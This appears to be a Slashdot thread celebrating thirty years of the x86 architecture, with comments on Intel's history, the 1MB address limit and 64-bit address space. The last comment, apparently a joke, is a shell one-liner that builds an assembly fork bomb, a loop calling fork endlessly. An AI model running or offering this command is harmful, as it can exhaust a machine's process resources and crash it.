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Happy Birthday! X86 Turns 30 Years Old
javipas writes "On June 8th, 1978 Intel introduced its first 16-bit microprocessor, the 8086. Intel used then "the dawn of a new era" slogan, and they probably didn't know how certain they were. Thirty years later we've seen the evolution of PC architectures based on the x86 instruction set that has been the core of Intel, AMD or VIA processors. Legendary chips such as Intel 80386, 80486, Pentium and AMD Athlon have a great debt to that original processor, and as recently was pointed out on Slashdot, x86 evolution still leads the revolution. Happy birthday and long live x86."
The demise of the x86 general architecture will not begin until Windows goes out of fashion. It's the only major platform strongly tied to that CPU architecture. x86 CPUs have been emulating the x86 instruction set in hardware for many years now. I guess, if they could, Intel / AMD / VIA and others would happily abandon the concept, because it leads to all sorts of complexities.
I spent over 16 yrs with Intel as a HW engineer. I saw many good decisions and a lot of bad ones too. Same goes for opportunities taken and missed. But their focus on cpu development cannot be faulted - they stumbled a few times but always found their focus again.
The other big success is their constant work on making the entire system architecture better, and basically giving that work to the industry for free. PCI - USB - AGP - all directly driven by Intel.
Its a bizarro place to work but my time their was not wasted
Its not the years, its the mileage
This is a case where just a couple of tweaks to the original x86 architecture might have had a dramatic impact on the industry.
The paragraph size of the 8086 was 16 bytes; that is, the segment registers were essentially multiplied by 16, giving an address range of 1MB, which resulted in extreme memory pressure (that 640K limit) starting in the mid 80s.
If the paragraph size had been 256 bytes, that would have resulted in a 24MB address space. We probably wouldn't have hit the wall for another several years. Companies such as VisiCorp might have succeeded at products like VisiOn, which were bending heaven and earth to cram their products into 640K, it would have been much easier to do graphics-oriented processing (death of Microsoft and Apple, anyone?). And so on.
Things might look profoundly different now, if only the 8086 had had four more address pins, and someone at Intel hadn't thought, "Well, 1MB is enough for anyone..."
Any sufficiently advanced technology is insufficiently documented.
But wait, that's exactly what x86 is. In terms of code density it does pretty well compared to Risc. Modern x86s don't implement it internally, they translate it to Riscy uops on the fly and execute those. And over the years compilers have learned to prefer the x86 instructions that are fast in this sort of implementation. And, thanks to AMD it now supports 64 bit natively in its x64 variant. This is important. 64 bit maybe overkill today, but most architectures die because of a lack of address space (see Computer Architecture by Hennessy and Patterson). But 64 bit address spaces will keep x86/x64 going for at least a while.
http://cache-www.intel.com/cd/00/00/01/79/17969_codeclean_r02.pdf
If you know that the variable does not need to be pointer polymorphic (scale with the architecture), use the following guideline to see if it can be typed as 32-bit instead of 64-bit. (This guideline is based on a data expansion model of 1.5 bits per year over 10 years.)
IIRC 1.5 bits per year address space bloat is from Hennessy and Patterson.
At this point we have 30 unused bits of address space, assuming current apps need 32GB tops. That gives 64 bit x64 another 20 years lifetime!
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;